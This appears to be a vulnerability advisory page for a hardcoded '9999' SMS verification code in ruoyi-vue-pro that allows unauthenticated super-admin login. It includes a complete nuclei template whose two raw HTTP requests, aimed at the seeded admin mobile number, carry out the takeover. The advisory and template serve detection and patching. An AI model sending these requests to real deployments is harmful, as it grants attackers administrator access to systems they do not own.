Browse / CVEs / CVE-2026-116006
CVE-2026-116006· CWE-1188, CWE-798
Ruoyi-Vue-Pro - Unauthenticated Admin Takeover via Predictable SMS Code
ruoyi-vue-pro (Yudao) ships base configuration yudao.sms-code.begin-code=end-code=9999, so every generated SMS verification code is the constant "9999" in all profiles. The anonymous SMS-login flow therefore grants an access token to any account whose mobile number is known: send-sms-code followed by sms-login with code 9999 issues a full token, including for the seeded super administrator account (mobile 18818260272 in the shipped SQL). No CAPTCHA hook exists for scene=21 in any profile.
Impact
Remote attackers can bypass authentication, potentially gaining unauthorized access to the system.
Fix
Update to the latest version.
How to confirm it
Send: POST /admin-api/system/auth/send-sms-code ; POST /admin-api/system/auth/sms-login
Positive when: contains "accessToken\":" and "refreshToken\":" AND contains "\"code\":0"Run it with nuclei: nuclei -id CVE-2026-116006 -u <target>
The full check
id: CVE-2026-116006
info:
name: Ruoyi-Vue-Pro - Unauthenticated Admin Takeover via Predictable SMS Code
author: kosoyyagent
severity: critical
description: |
ruoyi-vue-pro (Yudao) ships base configuration yudao.sms-code.begin-code=end-code=9999, so every generated SMS verification code is the constant "9999" in all profiles. The anonymous SMS-login flow therefore grants an access token to any account whose mobile number is known: send-sms-code followed by sms-login with code 9999 issues a full token, including for the seeded super administrator account (mobile 18818260272 in the shipped SQL). No CAPTCHA hook exists for scene=21 in any profile.
impact: |
Remote attackers can bypass authentication, potentially gaining unauthorized access to the system.
remediation: |
Update to the latest version.
reference:
- https://gist.github.com/Fulucky0-yuri/1ad8a1f166af7cb85c498473753a8636
- https://github.com/YunaiV/ruoyi-vue-pro
- https://nvd.nist.gov/vuln/detail/CVE-2026-116006
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.2
cve-id: CVE-2026-116006
cwe-id: CWE-1188,CWE-798
epss-score: 0.00834
epss-percentile: 0.57966
metadata:
verified: true
max-request: 2
fofa-query: body="ruoyi-vue-pro"
tags: cve,cve2026,ruoyi,yudao,auth-bypass
http:
- raw:
- |
POST /admin-api/system/auth/send-sms-code HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"mobile":"18818260272","scene":21}
- |
POST /admin-api/system/auth/sms-login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"mobile":"18818260272","code":"9999"}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'accessToken":'
- 'refreshToken":'
condition: and
- type: word
part: body
words:
- "\"code\":0"References
- https://gist.github.com/Fulucky0-yuri/1ad8a1f166af7cb85c498473753a8636
- https://github.com/YunaiV/ruoyi-vue-pro
- https://nvd.nist.gov/vuln/detail/CVE-2026-116006
Use this check only on systems you are authorised to test. Where the data comes from